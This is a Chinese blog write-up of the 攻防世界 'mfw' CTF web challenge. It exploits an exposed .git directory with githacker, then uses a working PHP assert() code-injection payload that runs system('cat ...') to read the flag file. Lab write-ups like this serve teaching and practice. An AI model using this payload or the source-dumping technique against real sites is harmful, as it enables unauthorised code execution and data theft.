攻防世界-web-mfw

题目描述:如图,只有这样的三个页面

home页面:

about页面:

contact页面:

burp抓包可以看到返回的html中刚好对应了三个页面,以及注释掉的flag

尝试将page设置成flag,但是并没有什么反应。

1. 思路分析

这道题只有一个page参数,page参数能做文章的地方不多,要么是sql注入,要么是命令注入。

然后我们注意到 about页面中描述了网站使用了git,我们推测这里可能有源码泄露

访问http://61.147.171.105:55174/.git/,果然可以看到源码

 既然可以看到源码,那就能明确究竟是sql注入还是命令注入了。

2. 解题过程

2.1 使用githacker工具将源码下载下来

pip install githacker
mkdir mfw
githacker --url http://61.147.171.105:49975/ --output-folder mfw/

2.2 我们看下这几个文件的内容

先看下flag.php,里面什么都没有,只能说是意料之中

然后看下代码文件index.php

这里我们发现,我们传入的page参数拼接到$file变量中,然后$file又被传入到assert函数去执行

assert函数有一个特点,那就是如果传入的参数为字符串,那么该字符串会被当做php代码去执行,而且我们会发现程序中并没有对传入的参数进行任何限制。

到了这一步,基本上就明确这里存在命令注入了,然后就是构造POC了

 构造POC:page=') or system('cat ./templates/flag.php');//

这时, assert函数就变成了 :

assert("strpos('templates/') or system('cat ./templates/flag.php');//.php', '..') === false") or die("Detected hacking attempt!");

后面的代码被注释掉了,真正执行的是assert("strpos('templates/') or system('cat ./templates/flag.php');

最终,获取到flag为:cyberpeace{9dd94f2529283b4941760f6cb36a8bc0}

 总结:这道题涉及到两个知识点,一个是git源码泄露,一个是命令注入。整体来说比较综合,从思路上来说,只有一个参数的情况下,大概率是注入类型的漏洞,但是如何利用,需要获取到源码进行确认,因此,这里通过githacker获取到源码是非常关键的一个步骤。获取到源码后,利用assert函数进行注入也就不难了

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值